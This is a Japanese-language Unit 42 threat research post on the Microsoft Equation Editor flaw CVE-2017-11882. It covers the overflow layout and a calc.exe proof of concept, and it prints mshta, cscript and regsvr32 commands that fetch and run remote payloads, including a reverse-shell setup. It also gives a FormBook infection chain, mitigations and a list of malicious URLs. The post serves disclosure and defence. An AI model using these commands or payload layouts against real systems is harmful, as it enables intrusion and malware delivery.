This post is also available in: English (英語)
概要
パロアルトネットワークスの脅威インテリジェンスチーム Unit 42 の脆弱性リサーチャーが、Microsoft Office に含まれていた脆弱性 CVE-2017-11882 を悪用するインターネット上のトラフィックの複数のインスタンスをキャプチャしました。本脆弱性は、Microsoft により、2017 年 11 月 14 日に月例セキュリティ更新プロセスの一環としてパッチが適用されています。このエクスプロイト(脆弱性を狙った攻撃)は Metasploit 用にリリースされており、複数のセキュリティリサーチャーが、この脆弱性を利用した特定の攻撃についての記事を公開しています。この記事では、この脆弱性とそのエクスプロイトのメカニズムについて説明します。
CVE-2017-11882 について:
Microsoft数式エディターは Microsoft Office のコンポーネントです。スタックバッファオーバーフローの脆弱性があるため、脆弱なシステムでのリモートコード実行が可能となります。このコンポーネントは、17 年以上前の 2000 年 11月 9 日にコンパイルされて以降、再コンパイルされないまま、現在サポートされるすべてのバージョンの Microsoft Office で使用されていました。Microsoft 数式エディターはeqnedt32.exe によりホストされるアウトプロセス COM サーバです。つまり、独自のプロセスとして独立して実行され、他のプロセスからのコマンドを受け付けることができます。
こうした攻撃からは、データ実行防止 (DEP) およびアドレス空間配置のランダム化 (ASLR) の機能により保護されるはずなのですが、eqnedt32.exe のリンク方法が原因で、これらの機能が使用されず、その結果、コード実行が可能となります。アウトプロセス COM サーバであるため、EMET や Windows Defender Exploit Guard など、Microsoft Office のための保護は、システム全体で適用される場合を除き、eqnedt32.exe には適用されません。これにより、攻撃者は特別な細工を施したドキュメントを標的に開かせて、結果的に、攻撃者が組み込んだコマンドを実行できます。
エクスプロイトの PoC (Proof of Concept) の分析
このセクションで分析する PoC RTF サンプルは、以下の属性を有しています。
SHA256 | 02a69029bf2b0c97bfb9ddbbe6e89409f1b11007a92d8ca4a6df6597b72eb453 |
本サンプルは GitHub で入手可能です。ファイルのコンテンツの分析により、オブジェクトクラスが「Equation.3」であり、OLE 数式オブジェクトであることがわかります。
オブジェクトの抽出後、OLE、CompObj、および ObjInfo の各ストリームはスキップして、Equation Native ストリームに直接移動します。
ストリームには、以下の構造のヘッダーが含まれています。
この後ろに MTEF データが続きます。これには、MTEF ヘッダーと複数のレコードが含まれています。MTEF は、数式エディターで使用されるバイナリ形式の数式です。ヘッダーには、MTEF データの一般情報が含まれています。
説明 | サイズ(バイト) | 値 | コメント |
MTEFのバージョン | 1 | 0x3 | MTEFv3 |
生成したプラットフォーム | 1 | 0x3 | Windows |
生成した製品 | 1 | 0x1 | Equation Editor |
製品のバージョン | 1 | 0x3 | |
製品のサブバージョン | 1 | 0xa |
表 1 METF のヘッダー
ヘッダーの後には、MTEF のレコードがいくつか続きます。脆弱性を引き起こす悪意のあるレコードは Font レコードで、このサンプルでは以下の構造を有しています。
説明 | サイズ(バイト) | 値 | コメント | |
タグ | 1 | 0x8 | 0x8 は Font レコードを示します。 | |
書体番号 | 1 | 0x5a | ||
スタイル | 1 | 0x5a | ||
フォント名 | NULL 区切りで可変長 | “cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA” + 0x00430c12 | オーバーフローしてリターンアドレスを上書きします。 |
表 2 Font レコード
フォント名が長すぎるとオーバーフローし、コード実行を引き起こします。デバッガを使用して、詳しく見てみましょう。
脆弱性は、EQNEDT32.EXE がローカルに作成したバッファにフォント名をコピーしようとすると発生します。バッファは 40 (0x28) バイトのみですが、フォント名が 40 バイトを超える場合 (ここでは 48 バイト)、バッファがオーバーフローし、EBP とリターンアドレスが上書きされます。関数の実行が完了すると、攻撃者が割り当てたアドレスに制御フローが移ります。
ここでは、WinExec のアドレスである 0x430c12 に関数が「戻り」、引数の「フォント名」にも攻撃者が指定した入力が渡されます。
この例では、Windows 電卓 (calc.exe) を開いています。
エクスプロイトの攻撃手法の分析
次に、攻撃者がこの脆弱性を悪用する方法をいくつか示します。この Proof of Concept では、16 進数表記で 636d642e657865202f632063616c632e65786520 となるバイト列がコマンド cmd.exe /c calc.exe を表すために使用されています。
この Proof of Concept を開くと、Windows 電卓が実行され、電卓の UI が表示されます。ただしこの手法には、オーバーフローできるバッファ長がかなり短いという制約があります。
攻撃者がオーバーフローできる配列のサイズは 36 バイトです (上の図の overflow_buffer)。ただし、変数 v12 と保存された EBP の領域も使えるので、さらに 8 バイト分領域を使用できます。では発行しようとするコマンドが、使用可能な合計 44 バイトを上回る場合は、どうしたら良いでしょうか。
1 つの方法は、攻撃者が制御するサーバにファイルをホストしておき、そのサーバにアクセスして別のバイナリを実行させるコマンドとしてこの 44 バイトを使用することです。たとえば、以下のコマンドでは mshta 実行可能ファイルを使用して、リモートサーバから VBscript コードを実行しますが、長さは 37 文字ですみます (角かっこは無害化のために追加したものですからここでは無視してください)。
mshta http://192.168.56[.]102/test.html
以下は、攻撃者がそのサーバでホストしうるコードのサンプルです。この方法でも、Windows 上で実行する場合と同じ目標を達成でき、さらにできることは 多くなります。
同様の選択肢として、挿入された命令で Metasploit サーバをポイントし、攻撃者にリバースシェルを渡します。以下のスクリーンショットでは、Metasploit がサーバ 192.168.56.103 でリモートシェルをホストするように設定されています。
エクスプロイトに挿入する必要があるコマンドの長さは、たった 40 バイトです。
mshta.exe http://192.168.56[.]103:8080/abc
被害者がこの悪意のあるファイルを開くと、Metasploit サーバはリバースシェルを送信し、攻撃者にホストの制御を渡します (以下を参照)。
実際のエクスプロイト例
11 月 20 日以降、脅威インテリジェンスサービス AutoFocus では、この脆弱性を悪用しようとする攻撃が数千件特定されました。これらの大半は上記の手法を使用しており、cmd.exe を直接呼び出すか、mshta.exe または cscript.exe を使用して、攻撃者が制御するサーバからリモートスクリプトを実行します。以下の表は、最も一般的な手法の例を示しています。
コマンド | パラメータ | 説明 | 例 |
cmd.execmd.exe | 悪意のあるファイル
IP + リモートの悪意のあるファイル |
cmd.exe がローカルの悪意のあるファイルを呼び出します。
cmd.exe がリモートの悪意のあるファイルを呼び出します。 |
cmd.exe /c calc.exe
cmd.exe /c start \\\\172.16.38.130\\c$\\1.exe cmd.exe /c calc.exe cmd.exe /c start \\\\172.16.38.130\\c$\\1.exe |
cscript.execscript.exe | スクリプト言語 + スクリプト | cscript.exe が悪意のあるファイルを呼び出します。 | cscript.exe //E:jscript \\\\xxd.cc\\bwou.pngcscript.exe //E:jscript \\\\xxd.cc\\bwou.png |
mshta.exemshta.exe | IP + リモートの悪意のあるファイル | mshta.exe がリモートの悪意のあるファイルを呼び出します。 | mshta.exe http://104.254.99[.]77/x.txt
mshta https://seliodrones[.]info/otr/otr.htamshta.exe http://104.254.99[.]77/x.txt mshta https://seliodrones[.]info/otr/otr.hta |
regsvr32.exeregsvr32.exe | インストールフラグとリモートの悪意のある DLL | regsvr32.exe がリモートの悪意のある DLL を呼び出します。 | regsvr32 /i:http[:]//1997106195 scrobj.dll &AA
Cregsvr32 /i:http[:]//1997106195 scrobj.dll &AA |
インターネット上の攻撃の一例が以下のサンプルに含まれています。
SHA256 | 7ccd19d3dc34c6dbee600961d73cee0cab5c6e421e9e6b8a31c0b65c14ae3551 |
このサンプルは、欧州の組織宛てのメールで偽の請求書ドキュメントの添付ファイルとして送信されました。ユーザがこのドキュメントを開いた後、以下のコマンドが実行されました。
mshta.exe , mshta https://zilk[.]pw/url/index.hta
コードは、PowerShell スクリプトを実行したこの場所にホストされ (現在はすでに使用できません)、このスクリプトが今度はhxxps://zilk[.]pw/url/smstrace.exe からファイルをダウンロードして実行します。このファイルは、情報を窃取するトロイの木馬 FormBook です。
オーバーフローバッファにはサイズ上の制約がありますが、それでも多数の攻撃者がこの脆弱性を悪用する方法を探し出し、目的を達成しています。
結論と緩和策:
CVE-2017-11882 の脆弱性は現在も活発に悪用されており、今後数年にわたり悪用が続く可能性があります。この問題に対処するため、管理者はこの脆弱性に対する Microsoft のパッチを導入する必要があります。パッチは以下で入手できます。https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 .
パッチを導入できない場合は、Microsoft サポート技術情報の記事 4055535 の説明に従って、数式エディターを無効にすることを検討する必要があります。
パロアルトネットワークスのお客様は、次の方法でこの脆弱性から保護されています。
- 次世代ファイアウォールの Threat Prevention(脅威防御)のシグネチャ 36804 が、エクスプロイトコードを含むファイルを識別します。
- クラウド脅威解析 WildFire と次世代エンドポイントセキュリティ Traps が、この脆弱性を悪用するファイルを悪意のあるものとして特定します。
悪用が確認されている URL のサンプルを以下に示します。
- smb[:]//185.175.208.10/s/r.exe
- smb[:]//185.175.208.10/s/p.exe
- http[:]//78.46.152.143\\webdav
- http[:]//138.68.144.82
- http[:]//103.59.95.105/test
- http[:]//104.254.99.77/x.txt
- http[:]//112.213.118.108[:]11882/a
- http[:]//112.213.118.108[:]11882/
- http[:]//138.68.144.82/w/trx.hta
- http[:]//185.200.116.171[:]80/1
- http[:]//203.128.247.165/a.hta
- http[:]//212.83.61.198/read.txt
- http[:]//43.242.35.13/ofc.hta
- http[:]//45.32.169.233[:]80/test
- http[:]//45.77.122.135[:]80/a.hta
- http[:]//67.218.155.0/1.hta
- http[:]//141.255.149.141[:]8080/e8eb2bWlyg.sct
- http[:]//bit.ly/2zaevrt
- https[:]//zilk.pw/url/index.hta
- https[:]//zilk.pw/url/smstrace.exe
- http[:]//tinyurl.com/y9m5opxz
- http[:]//vulns.sg/RickAstley.hta
- http[:]//a1-transport.eu/rFIB.hta
- http[:]//malo.com/bicho
- http[:]//nobles-iq.com/xpct/yxxM.hta
- http[:]//pelli.mzf.cz/gt.hta
- http[:]//sldkj.com/a
- https[:]//pastebin.com/raw/1CWyVtXs
- https[:]//pastebin.com/raw/PqUXNZbB
- https[:]//seliodrones.info/otr/otr.hta
- http[:]//suo.im/2boSoQ
- http[:]//tinyurl.com/err43ery33
- http[:]//totonam.com/js/zd.hta
- http[:]//www.lucien116.com/abc
- http[:]//facebookcoc.sytes.net[:]8080/xp8jdXNo.sct